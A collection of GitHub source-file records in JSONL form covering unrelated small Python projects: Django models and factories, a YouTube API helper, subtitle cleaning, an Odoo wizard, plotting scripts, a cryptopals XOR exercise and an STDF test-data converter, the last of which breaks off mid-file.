ListUser.objects.get(email=email)\n","repo_name":"afterhill/DjangoTDDSample","sub_path":"icecreamratings_project/icecreamratings_project/accounts/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40003100669","text":"# %load q04_count/build.py\n# Default Imports\nfrom greyatomlib.python_getting_started.q01_read_data.build import read_data\n\nimport pandas as pd\nimport numpy as np\n\n\ndata = read_data()\ncount=0\nball_faced=[0]\n# Your Solution Here\ndef deliveries_count(data=data):\n count=0\n list_deliveries= data['innings'][0]['1st innings']['deliveries']\n for delivery in list_deliveries:\n for delivery_number, delivery_info in delivery.items():\n if delivery_info['batsman'] == 'RT Ponting':\n count += 1\n\n return count\n \n \n \n \n \n # Your code here\n\n\n\n","repo_name":"monildoshi/python_getting_started_project","sub_path":"q04_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"42132916331","text":"# -*- coding: utf-8 -*-\n\nimport googleapiclient.discovery # type: ignore[import]\nimport googleapiclient.errors # type: ignore[import]\n\nfrom keys import API_KEY\n\nfrom typing import Dict, Any\n\n\ndef get_info(video_id: str) -> Dict[str, Any]:\n \"\"\"\n Parameters\n ----------\n video_id: the id of the desired YouTube video as a str\n\n Returns\n -------\n video_data: a dict of select info and stats for the requested video\n\n \"\"\"\n\n # Set up the API and make a call to get video info\n api_service_name: str = \"youtube\"\n api_version: str = \"v3\"\n\n youtube: googleapiclient.discovery.Resource = (\n googleapiclient.discovery.build(\n api_service_name, api_version, developerKey=API_KEY\n )\n )\n\n request: googleapiclient.http.HttpRequest = youtube.videos().list(\n part=\"snippet,contentDetails,statistics\", id=video_id\n )\n\n response: Dict[str, Any] = request.execute()\n\n # The response comes back as a dict with a lot of video data\n # but we only extract the values that we need for the study\n\n snippet: Dict[str, str] = response[\"items\"][0][\"snippet\"]\n statistics: Dict[str, str] = response[\"items\"][0][\"statistics\"]\n\n video_data: Dict[str, Any] = {}\n\n video_data[\"channel_name\"] = snippet[\"channelTitle\"]\n video_data[\"channel_id\"] = snippet[\"channelId\"]\n video_data[\"description\"] = snippet[\"description\"]\n video_data[\"title\"] = snippet[\"title\"]\n video_data[\"date_uploaded\"] = snippet[\"publishedAt\"]\n\n video_data[\"likes\"] = int(statistics[\"likeCount\"])\n video_data[\"views\"] = int(statistics[\"viewCount\"])\n video_data[\"comments\"] = int(statistics[\"commentCount\"])\n\n return video_data\n","repo_name":"KRSpinelli/YouTubeAdStudy","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"25474889578","text":"import os\nimport pysrt\nimport cchardet as chardet\n\nfrom .utils import *\n\n__all__ = ['load_subtitles',\n 'save_subtitles',\n 'clean_subtitles']\n\n\ndef load_subtitles(filename, file_encoding):\n if file_encoding == None:\n content = open(filename, \"rb\").read()\n file_encoding = chardet.detect(content)['encoding']\n subtitles = pysrt.open(filename, encoding = file_encoding)\n return subtitles, file_encoding\n\ndef save_subtitles(subtitles,\n output_filename, output_encoding,\n input_filename, input_encoding):\n if output_filename == None:\n splited_name = os.path.splitext(input_filename)\n output_filename = splited_name[0] + \".noTAG\" + splited_name[1]\n if output_encoding == None:\n output_encoding = input_encoding\n subtitles.save(output_filename, encoding = output_encoding)\n\n\ndef clean_subtitles(subtitles, tokens, lyrics_tokens, character_name_regex):\n normalize_newlines(subtitles)\n\n dialog_marker_list = [\"‐\", \"-\", \"—\"]\n dialog_marker = detect_dialog_marker(subtitles, dialog_marker_list)\n uniformize_dialog_marker(subtitles, dialog_marker_list, dialog_marker)\n\n filter_out_context_content(subtitles, tokens + lyrics_tokens, dialog_marker)\n filter_out_character_names(subtitles, character_name_regex, dialog_marker)\n filter_out_lyrics(subtitles, lyrics_tokens)\n\n cleanup_single_dialog_marker(subtitles, dialog_marker)\n delete_empty_subtitles(subtitles, dialog_marker)\n\n subtitles.sort()\n subtitles.clean_indexes()\n","repo_name":"larchuto/nocc","sub_path":"nocc/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4462772158","text":"import pytest\nimport torch\n\nfrom src.model.HMMComponents.EmissionModel import EmissionModel\n\n\n@pytest.mark.parametrize(\"n_mel_channels\", [80, 4])\ndef test_emissionmodel(test_batch_size, dummy_data, n_mel_channels):\n _, input_lengths, _, _, _ = dummy_data\n model = EmissionModel()\n x_t = torch.randn(test_batch_size, n_mel_channels)\n means = torch.zeros(test_batch_size, input_lengths.max(), n_mel_channels)\n stds = torch.ones(test_batch_size, input_lengths.max(), n_mel_channels)\n\n out = model(x_t, means, stds, input_lengths)\n assert out.shape == (test_batch_size, input_lengths.max())\n","repo_name":"shivammehta25/Neural-HMM","sub_path":"tests/src/model/HMMComponents/test_Emissionmodel.py","file_name":"test_Emissionmodel.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"2"} +{"seq_id":"39091674958","text":"import uuid\n\nimport factory\n\nfrom user.models import User\n\n\nclass UserFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = User\n\n first_name = \"Jane\"\n last_name = \"Smith\"\n email = \"jane.smith@test.com\"\n legacy_sso_user_id = uuid.uuid4()\n username = \"jane.smith@-1111111@id.test.gov.uk\"\n sso_contact_email = \"jane.smith@test.com\"\n","repo_name":"uktrade/digital-workspace-v2","sub_path":"src/user/test/factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"18409184936","text":"# -*- coding: utf-8 -*-\n# (c) 2016 Alfredo de la Fuente - AvanzOSC\n# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html\nfrom openerp import fields, models, api\nfrom openerp.addons.event_track_assistant._common import\\\n _convert_to_utc_date, _convert_to_local_date, _convert_time_to_float\n\ndate2string = fields.Date.to_string\ndatetime2string = fields.Datetime.to_string\nstr2datetime = fields.Datetime.from_string\n\n\nclass WizEventAppendAssistant(models.TransientModel):\n _inherit = 'wiz.event.append.assistant'\n\n type_hour = fields.Many2one(\n comodel_name='hr.type.hour', string='Type hour')\n start_time = fields.Float(string='Start time', default=0.0)\n end_time = fields.Float(string='End time', default=0.0)\n\n @api.model\n def default_get(self, var_fields):\n tz = self.env.user.tz\n res = super(WizEventAppendAssistant, self).default_get(var_fields)\n res.update({\n 'start_time': _convert_time_to_float(\n _convert_to_utc_date(res.get('min_from_date'), tz=tz), tz=tz),\n 'end_time': _convert_time_to_float(\n _convert_to_utc_date(res.get('max_to_date'), tz=tz), tz=tz),\n })\n return res\n\n @api.multi\n @api.onchange('from_date', 'start_time', 'to_date', 'end_time', 'partner')\n def onchange_dates_and_partner(self):\n self.ensure_one()\n res = super(WizEventAppendAssistant, self).onchange_dates_and_partner()\n return res\n\n def revert_dates(self):\n tz = self.env.user.tz\n super(WizEventAppendAssistant, self).revert_dates()\n self.start_time = _convert_time_to_float(_convert_to_utc_date(\n self.min_from_date, tz=tz), tz=tz)\n self.end_time = _convert_time_to_float(_convert_to_utc_date(\n self.max_to_date, tz=tz), tz=tz)\n\n def _update_registration_start_date(self, registration):\n super(WizEventAppendAssistant, self)._update_registration_start_date(\n registration)\n reg_date_start = str2datetime(registration.date_start)\n if self.start_time:\n wiz_from_date = _convert_to_utc_date(\n self.from_date, time=self.start_time, tz=self.env.user.tz)\n if wiz_from_date != reg_date_start:\n registration.date_start = wiz_from_date\n\n def _update_registration_date_end(self, registration):\n super(WizEventAppendAssistant, self)._update_registration_date_end(\n registration)\n reg_date_end = str2datetime(registration.date_end)\n if self.end_time:\n wiz_to_date = _convert_to_utc_date(\n self.to_date, time=self.end_time, tz=self.env.user.tz)\n if wiz_to_date != reg_date_end:\n registration.date_end = wiz_to_date\n\n def _prepare_registration_data(self, event):\n vals = super(WizEventAppendAssistant,\n self)._prepare_registration_data(event)\n date_start = _convert_to_local_date(self.from_date).date()\n date_start = _convert_to_utc_date(\n date_start, time=self.start_time, tz=self.env.user.tz)\n date_end = _convert_to_local_date(self.to_date).date()\n date_end = _convert_to_utc_date(\n date_end, time=self.end_time, tz=self.env.user.tz)\n vals.update({\n 'date_start': event.date_begin\n if datetime2string(date_start) < event.date_begin else date_start,\n 'date_end': event.date_end\n if datetime2string(date_end) > event.date_end else date_end,\n })\n return vals\n\n def _calc_dates_for_search_track(self, from_date, to_date):\n super(WizEventAppendAssistant,\n self)._calc_dates_for_search_track(from_date, to_date)\n from_date = self._prepare_date_for_control(\n from_date, time=self.start_time or 0.0)\n to_date = self._prepare_date_for_control(\n to_date, time=self.end_time or 24.0)\n return from_date, to_date\n","repo_name":"avanzosc/event-wip","sub_path":"sale_order_create_event_hour/wizard/wiz_event_append_assistant.py","file_name":"wiz_event_append_assistant.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"34065447522","text":"import heapq\n\n\ndef solution(n, k, enemy):\n answer = 0\n invinc = [0] * k # 무적권\n\n for i in range(len(enemy)):\n # invinc[0] 랑 비교하면서 invinc 대체\n if enemy[i] > invinc[0]:\n n -= heapq.heapreplace(invinc, enemy[i])\n else:\n n -= enemy[i]\n if n < 0:\n return i\n return len(enemy) # 만약 배열이 다 돌고 나서도 여기로 나온다면 n > 0 이라는 뜻으로 무조건 clear\n","repo_name":"BewineLog/coding_test_code-python","sub_path":"프로그래머스/디펜스게임.py","file_name":"디펜스게임.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5166266344","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom scipy import signal\r\n\r\ndef histogram_of_gradients(img,bins=12):\r\n hog = []\r\n gray_conv = np.array([0.2989,0.5870,0.1140]).reshape(1,1,3)\r\n im = np.sum(img*gray_conv,axis=2)\r\n f1 = np.array([[-1,0,1],[-2,0,2],[-1,0,1]])\r\n gh = signal.correlate2d(im, f1, mode='same')\r\n gv = signal.correlate2d(im, f1.T, mode='same')\r\n g_mag = np.sqrt(gv**2+gh**2)\r\n g_dir = np.arctan2(gv,gh)\r\n bin_size = 2*np.pi/bins\r\n g_dir_bin = ((g_dir+np.pi+bin_size/2)/bin_size).astype(np.int)%bins\r\n for i in range(bins):\r\n hog.append(np.sum(g_mag[g_dir_bin==i]))\r\n return np.array(hog)/im.shape[0]/im.shape[1]\r\n\r\nif __name__ == \"__main__\":\r\n plt.close('all')\r\n\r\n files = ['new york.jpg', 'toronto.jpg', 'buildings.jpg','toronto3.jpg']\r\n files = files+['landscape1.jpg','landscape2.jpg','landscape3.jpg','landscape4.jpg']\r\n bins = 8\r\n for file in files:\r\n img = plt.imread(file)\r\n hog = histogram_of_gradients(img,bins=bins)\r\n man_angles = np.sum(hog[0::2],axis=0)\r\n non_man_angles = np.sum(hog[1::2],axis=0)\r\n if(man_angles > 2*non_man_angles):\r\n print(f\"Man made shape is {file}\")\r\n fig, ax = plt.subplots(2,figsize=(8,8))\r\n ax[0].imshow(img)\r\n ax[1].plot(np.arange(bins)*360/bins,hog)\r\n ax[1].set_ylim([0,np.amax(hog)*1.1])\r\n \r\n\r\n\r\n'''\r\nOutput:\r\nImage new york.jpg contains buildings\r\nImage toronto.jpg contains buildings\r\nImage buildings.jpg contains buildings\r\nImage toronto3.jpg contains buildings\r\nImage landscape1.jpg contains a nature scene\r\nImage landscape2.jpg contains a nature scene\r\nImage landscape3.jpg contains a nature scene\r\nImage landscape4.jpg contains a nature scene\r\n'''","repo_name":"ogalindomo/Degree-code","sub_path":"CS 5363/Tests/Galindo_Oscar_Exam1/is_building_start.py","file_name":"is_building_start.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"1173520865","text":"\"\"\"Plot.\"\"\"\nimport datetime\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nfrom pyiem.util import get_dbconn\n\nASOS = get_dbconn(\"asos1min\")\ncursor = ASOS.cursor()\n\n\ndef smooth(x, window_len=11, window=\"hanning\"):\n if x.ndim != 1:\n raise ValueError(\"smooth only accepts 1 dimension arrays.\")\n if x.size < window_len:\n raise ValueError(\"Input vector needs to be bigger than window size.\")\n if window_len < 3:\n return x\n if window not in [\"flat\", \"hanning\", \"hamming\", \"bartlett\", \"blackman\"]:\n raise ValueError(\n \"Window not 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\"\n )\n s = np.r_[\n 2 * x[0] - x[(window_len - 1) :: -1],\n x,\n 2 * x[-1] - x[-1:-window_len:-1],\n ]\n if window == \"flat\": # moving average\n w = np.ones(window_len, \"d\")\n else:\n w = eval(\"np.\" + window + \"(window_len)\")\n y = np.convolve(w / w.sum(), s, mode=\"same\")\n return y[window_len : (-window_len + 1)]\n\n\ndef get_day(ts):\n \"\"\"erm.\"\"\"\n cursor.execute(\n f\"\"\"SELECT extract(hour from valid) * 60.0 +\n extract(minute from valid), tmpf, valid from t{ts.year}_1minute\n where station = 'DSM' and date(valid) = %s ORDER by valid ASC\n \"\"\",\n (ts,),\n )\n if cursor.rowcount < 60:\n cursor.execute(\n f\"\"\"SELECT extract(hour from valid) * 60.0 +\n extract(minute from valid), tmpf, valid from t{ts.year}\n where station = 'DSM' and date(valid) = %s ORDER by valid ASC\n \"\"\",\n (ts,),\n )\n\n d = []\n t = []\n for row in cursor:\n d.append(row[0])\n t.append(row[1])\n\n if len(t) > 100:\n return np.array(d), smooth(np.array(t), 7)\n else:\n return np.array(d), np.array(t)\n\n\ndef main():\n \"\"\"Go Main Go.\"\"\"\n d1, t1 = get_day(datetime.datetime(2013, 8, 26))\n d2, t2 = get_day(datetime.datetime(2013, 8, 27))\n d3, t3 = get_day(datetime.datetime(2013, 8, 28))\n\n (fig, ax) = plt.subplots(1, 1)\n\n ax.plot(d1, t1, label=\"26 Aug\", lw=2.0)\n ax.plot(d2, t2, label=\"27 Aug\", lw=2.0)\n ax.plot(d3, t3, label=\"28 Aug\", lw=2.0)\n ax.legend(loc=2)\n ax.grid(True)\n ax.set_xticks(np.arange(0, 8) * 180)\n ax.set_xticklabels(\n [\"Mid\", \"3 AM\", \"6 AM\", \"9 AM\", \"Noon\", \"3 PM\", \"6 PM\", \"9 PM\"]\n )\n ax.set_xlim(0, 1441)\n ax.set_title(\"Des Moines 26-28 August 2013 Temperature Timeseries\")\n ax.set_ylabel(r\"Temperature $^\\circ$F\")\n ax.set_xlabel(\"* Smooth applied to one minute time-series\")\n\n fig.savefig(\"test.png\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"akrherz/DEV","sub_path":"asos/1minute_manydays.py","file_name":"1minute_manydays.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"43499328725","text":"import tkinter as tk\nimport numpy as np\n\nCELLCOUNT = 8\n\nclass eightQueens(tk.Frame):\n def __init__(self):\n tk.Frame.__init__(self)\n self.master.title('Eight Queens Problem Solver')\n self.grid()\n self.boardCells = []\n self.makeBoard()\n self.initBoard(CELLCOUNT)\n\n def makeBoard(self):\n background = tk.Frame(self, bg='#858282', width=600, height=600)\n background.grid(padx=(150,150),pady=(150,150))\n\n for row in range(CELLCOUNT):\n gridRow = [] \n for col in range(CELLCOUNT):\n cell = tk.Label(background, text='', bg='#ffffff', justify=tk.CENTER, width=10, height=4)\n cell.grid(row=row, column=col, padx=1, pady=1)\n gridRow.append(cell)\n self.boardCells.append(gridRow)\n \n def initBoard(self, n):\n self.board = np.zeros((n**2), dtype='int').reshape((n,n))\n \n def placeQueen(self,n):\n board = self.board\n for row in range(n):\n for col in range(n):\n value = board[row][col]\n if value != 0:\n self.boardCells[row][col].configure(bg='red')\n self.update_idletasks()\n \n\ngameBoard = eightQueens()","repo_name":"SirCen/AI-2048-Solver","sub_path":"src/eightQueens/eightQueens.py","file_name":"eightQueens.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18246657829","text":"def lengthOfLongestSubstring(s):\n substring = \"\"\n max_len = 0\n for k in s:\n if k not in set(substring):\n substring+=k\n elif substring[0] == k:\n substring=substring[1:]+k\n else:\n ind = substring.find(k)\n substring = substring [ind+1:]+k\n if len(substring)>max_len:\n max_len = len(substring)\n \n \n return max_len\n\nprint(lengthOfLongestSubstring(\"ggububgvfk\"));","repo_name":"NAruneshwar/Python_Sample","sub_path":"LeetCode/lengthOfLongestSubstring.py","file_name":"lengthOfLongestSubstring.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12275414484","text":"# Niek van Leeuwen\n# 0967267\n# Minor Security Lab @ Rotterdam University of Applied Sciences\n\nimport codecs\n\n\ndef xor(buf1: bytes, buf2: bytes) -> bytes:\n \"\"\"Produces the XOR combination for two equal-length buffers\n \n Args:\n buf1: first buffer (should be the same size as buf2)\n buf2: second buffer (should be the same size as buf1)\n Returns:\n bytes: hex encoded result\n \"\"\"\n # Loop trough each byte of both byte strings\n result = []\n for a,b in zip(buf1, buf2):\n # Use the XOR operator on the two bytes\n xor_byte = a ^ b\n # Store the resulting byte in an array\n result.append(xor_byte)\n\n # Convert the result to bytes\n result = bytes(result) \n\n # Encode the result in hexadecimal\n return codecs.encode(result, 'hex')\n\ndef test_xor():\n # The buffers to decode in hexadecimal\n str1 = '1c0111001f010100061a024b53535009181c'\n str2 = '686974207468652062756c6c277320657965'\n # Convert the buffers to bytes\n buf1 = codecs.decode(str1, 'hex')\n buf2 = codecs.decode(str2, 'hex')\n\n result = xor(buf1, buf2)\n \n # Verify the results\n assert result == b'746865206b696420646f6e277420706c6179'\n \n print(str1)\n print(str2)\n print('====================================')\n print(result.decode())\n \n print('Passed test')\n\n\nif __name__ == \"__main__\":\n test_xor()","repo_name":"niekvleeuwen/cryptopals","sub_path":"set_1/challenge_2.py","file_name":"challenge_2.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41864739287","text":"\"\"\"\r\nThe MIT License (MIT)\r\nCopyright (c) 2020 cdhsu2001@gmail.com\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\r\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\r\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and\r\nto permit persons to whom the Software is furnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of\r\nthe Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO\r\nTHE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\r\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\nTHE SOFTWARE.\r\n\r\nDeveloped by cdhsu2001@gmail.com in 2020\r\n\"\"\"\r\n\r\nfrom openpyxl.utils import get_column_letter\r\nfrom openpyxl.styles import Font, PatternFill, Side, Border\r\nfrom openpyxl import Workbook\r\nimport re\r\nimport time\r\n\r\ntimerstart = time.time()\r\n\r\nXMLfilename = input('Input xml (of STDF) here, its filename (not zipped) should be file.xml: ')\r\nfrd = open(XMLfilename, mode='r', encoding='utf-8')\r\nfilename = re.search('(.*).xml', XMLfilename)\r\nXLSXfilename = filename.group(1) + 'Map.xlsx'\r\n\r\nfor i in range(0, 50): \r\n line = frd.readline() \r\n if line.startswith('SDR:'): \r\n SDRsite_cnt = re.search('SITE_CNT=(\\d+)', line) \r\n SDRsitecnt = int(SDRsite_cnt.group(1)) \r\n break\r\n\r\nwb = Workbook()\r\nws1 = wb.active\r\nws1.title = \"AllResult\"\r\nxlsxheadrow = 7 \r\nxlsxrow = 8 \r\n\r\nOneWaferdict = { 'head_num':[], 'site_num':[], 'hard_bin':[], 'soft_bin':[], 'x_coord':[], 'y_coord':[] }\r\nOneWaferdictFirst = { 'head_num':[], 'site_num':[], 'hard_bin':[], 'soft_bin':[], 'x_coord':[], 'y_coord':[] }\r\nOneWaferdictRetest = { 'head_num':[], 'site_num':[], 'hard_bin':[], 'soft_bin':[], 'x_coord':[], 'y_coord':[] }\r\nOneTDdict = { 'head_num':[], 'site_num':[], 'hard_bin':[], 'soft_bin':[], 'x_coord':[], 'y_coord':[] }\r\nHeaderinxlsx = list(OneTDdict.keys()) \r\nfor k in Headerinxlsx:\r\n for j in range(0, SDRsitecnt):\r\n OneTDdict[k].append('na')\r\n\r\nHBRcont = { 'hbin_num':[], 'hbin_pf':[], 'hbin_nam':[] }\r\nFirstcont = { 'hbin_qty':[], 'hbin_yield':[] }\r\nRetestcont = { 'hbin_qty':[], 'hbin_yield':[] }\r\nPCRcont = { 'part_cnt':0, 'rtst_cnt':0 }\r\n\r\nPTRLoLimit = {}\r\nPTRHiLimit = {}\r\nMPRLoLimit = {}\r\nMPRHiLimit = {}\r\nPIRindex = 0 \r\nPRRindex = 0\r\n\r\nwhile ( line != ''):\r\n line = frd.readline()\r\n \r\n if line.startswith('PIR:'): \r\n PIRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n OneTDdict['head_num'][PIRindex] = int(PIRhead.group(1))\r\n PIRsite = re.search('SITE_NUM=(\\d+)', line)\r\n OneTDdict['site_num'][PIRindex] = int(PIRsite.group(1))\r\n PIRindex += 1\r\n \r\n elif line.startswith('PTR:'): \r\n PTRresult = re.search('RESULT=(.*) TEST_TXT', line)\r\n PTRrslt = float( PTRresult.group(1) )\r\n PIRcount = PIRindex \r\n PTRtest_num = re.search('TEST_NUM=(\\d+)', line)\r\n testnumkey = 'test_num '+ PTRtest_num.group(1)\r\n if (testnumkey in OneTDdict) == False:\r\n OneTDdict[testnumkey] = []\r\n for j in range(0, SDRsitecnt):\r\n OneTDdict[testnumkey].append('na') \r\n###\r\n PTRopt_flag = re.search('OPT_FLAG=(\\d+)', line)\r\n if PTRopt_flag:\r\n PTRoptflag = int( PTRopt_flag.group(1) )\r\n \r\n if (testnumkey in PTRLoLimit) == False: \r\n PTRLoLimit[testnumkey] = 'na'\r\n if (((PTRoptflag >> 4) & 0x1) == 0) and (((PTRoptflag >> 6) & 0x1) == 0):\r\n PTRlo_limit = re.search('LO_LIMIT=(.*) HI_LIMIT', line) \r\n PTRLoLimit[testnumkey] = float( PTRlo_limit.group(1) )\r\n \r\n if (testnumkey in PTRHiLimit) == False: \r\n PTRHiLimit[testnumkey] = 'na' \r\n if (((PTRoptflag >> 5) & 0x1) == 0) and (((PTRoptflag >> 7) & 0x1) == 0):\r\n PTRhi_limit = re.search('HI_LIMIT=(.*) UNITS', line) \r\n PTRHiLimit[testnumkey] = float( PTRhi_limit.group(1) )\r\n### \r\n PTRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n PTRsite = re.search('SITE_NUM=(\\d+)', line)\r\n PTRtestflg = re.search('TEST_FLG=(\\d+)', line)\r\n for j in range(0, PIRcount):\r\n if (int(PTRhead.group(1)) == OneTDdict['head_num'][j]) and (int(PTRsite.group(1)) == OneTDdict['site_num'][j]):\r\n if int(PTRtestflg.group(1)) == 0 :\r\n OneTDdict[testnumkey][j] = PTRrslt \r\n \r\n elif line.startswith('MPR:'): \r\n MPRrslt_cnt = re.search('RSLT_CNT=(\\d+)', line)\r\n MPRrsltcnt = int( MPRrslt_cnt.group(1) )\r\n if MPRrsltcnt != 1:\r\n print('MPR RSLT_CNT is not equal to 1, this script will not support!')\r\n break\r\n\r\n MPRrtn_rslt = re.search('RTN_RSLT=(.*) TEST_TXT', line)\r\n MPRrtnrslt = eval( MPRrtn_rslt.group(1) ) \r\n PIRcount = PIRindex \r\n MPRtest_num = re.search('TEST_NUM=(\\d+)', line)\r\n testnumkey = 'test_num '+ MPRtest_num.group(1)\r\n if (testnumkey in OneTDdict) == False:\r\n OneTDdict[testnumkey] = []\r\n for j in range(0, SDRsitecnt):\r\n OneTDdict[testnumkey].append('na')\r\n###\r\n MPRopt_flag = re.search('OPT_FLAG=(\\d+)', line)\r\n if MPRopt_flag:\r\n MPRoptflag = int( MPRopt_flag.group(1) ) \r\n \r\n if (testnumkey in MPRLoLimit) == False: \r\n MPRLoLimit[testnumkey] = 'na'\r\n if (((MPRoptflag >> 4) & 0x1) == 0) and (((MPRoptflag >> 6) & 0x1) == 0):\r\n MPRlo_limit = re.search('LO_LIMIT=(.*) HI_LIMIT', line) \r\n MPRLoLimit[testnumkey] = float( MPRlo_limit.group(1) )\r\n \r\n if (testnumkey in MPRHiLimit) == False: \r\n MPRHiLimit[testnumkey] = 'na' \r\n if (((MPRoptflag >> 5) & 0x1) == 0) and (((MPRoptflag >> 7) & 0x1) == 0):\r\n MPRhi_limit = re.search('HI_LIMIT=(.*) START_IN', line) \r\n MPRHiLimit[testnumkey] = float( MPRhi_limit.group(1) )\r\n###\r\n MPRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n MPRsite = re.search('SITE_NUM=(\\d+)', line)\r\n MPRtestflg = re.search('TEST_FLG=(\\d+)', line)\r\n for j in range(0, PIRcount):\r\n if (int(MPRhead.group(1)) == OneTDdict['head_num'][j]) and (int(MPRsite.group(1)) == OneTDdict['site_num'][j]):\r\n if int(MPRtestflg.group(1)) == 0 : \r\n OneTDdict[testnumkey][j] = float(MPRrtnrslt[0]) \r\n \r\n elif line.startswith('PRR:'): \r\n PIRcount = PIRindex \r\n PRRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n PRRsite = re.search('SITE_NUM=(\\d+)', line)\r\n PRRhbin = re.search('HARD_BIN=(\\d+)', line)\r\n PRRsbin = re.search('SOFT_BIN=(\\d+)', line)\r\n PRRxcrd = re.search('X_COORD=([-+]?\\d+)', line)\r\n PRRycrd = re.search('Y_COORD=([-+]?\\d+)', line)\r\n \r\n for j in range(0, PIRcount):\r\n if (int(PRRhead.group(1)) == OneTDdict['head_num'][j]) and (int(PRRsite.group(1)) == OneTDdict['site_num'][j]):\r\n OneTDdict['hard_bin'][j] = int(PRRhbin.group(1))\r\n OneTDdict['soft_bin'][j] = int(PRRsbin.group(1))\r\n OneTDdict['x_coord'][j] = int(PRRxcrd.group(1))\r\n OneTDdict['y_coord'][j] = int(PRRycrd.group(1))\r\n PRRindex += 1\r\n OneWaferdict['head_num'].append( int(PRRhead.group(1)) )\r\n OneWaferdict['site_num'].append( int(PRRsite.group(1)) )\r\n OneWaferdict['hard_bin'].append( int(PRRhbin.group(1)) )\r\n OneWaferdict['soft_bin'].append( int(PRRsbin.group(1)) )\r\n OneWaferdict['x_coord'].append( int(PRRxcrd.group(1)) )\r\n OneWaferdict['y_coord'].append( int(PRRycrd.group(1)) )\r\n \r\n if PIRcount == PRRindex:\r\n OneTDheader = list(OneTDdict.keys())\r\n if len(Headerinxlsx) < len(OneTDheader):\r\n Headerinxlsx = OneTDheader \r\n ws1.cell( row=1, column=1, value='Hi_Limit' ) ###\r\n ws1.cell( row=2, column=1, value='Lo_Limit' ) ###\r\n for y in range(0, len(OneTDheader)):\r\n ws1.cell( row=xlsxheadrow, column=(y+1), value=OneTDheader[y] )\r\n if OneTDheader[y] in PTRHiLimit:\r\n ws1.cell( row=1, column=(y+1), value=PTRHiLimit[OneTDheader[y]] )\r\n if OneTDheader[y] in PTRLoLimit:\r\n ws1.cell( row=2, column=(y+1), value=PTRLoLimit[OneTDheader[y]] )\r\n if OneTDheader[y] in MPRHiLimit:\r\n ws1.cell( row=1, column=(y+1), value=MPRHiLimit[OneTDheader[y]] )\r\n if OneTDheader[y] in MPRLoLimit:\r\n ws1.cell( row=2, column=(y+1), value=MPRLoLimit[OneTDheader[y]] )\r\n \r\n for y in range(0, len(OneTDheader)):\r\n keyname = OneTDheader[y]\r\n for x in range(0, PIRcount): \r\n ws1.cell( row=(xlsxrow+x), column=(y+1), value=OneTDdict[keyname][x] ) \r\n xlsxrow = xlsxrow + PIRcount \r\n \r\n for k in OneTDdict.keys():\r\n for j in range(0, SDRsitecnt):\r\n OneTDdict[k][j] = 'na' \r\n PIRindex = 0 \r\n PRRindex = 0 \r\n###\r\n### \r\n if line.startswith('HBR:'): \r\n HBRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n if int(HBRhead.group(1)) == 255:\r\n HBRhbin_num = re.search('HBIN_NUM=(\\d+)', line)\r\n HBRcont['hbin_num'].append( int(HBRhbin_num.group(1)) )\r\n HBRhbin_pf = re.search('HBIN_PF=([PF]+)', line)\r\n HBRcont['hbin_pf'].append( HBRhbin_pf.group(1) )\r\n HBRhbin_nam = re.search('HBIN_NAM=(.*)', line)\r\n if HBRhbin_nam:\r\n HBRcont['hbin_nam'].append( HBRhbin_nam.group(1) )\r\n else:\r\n 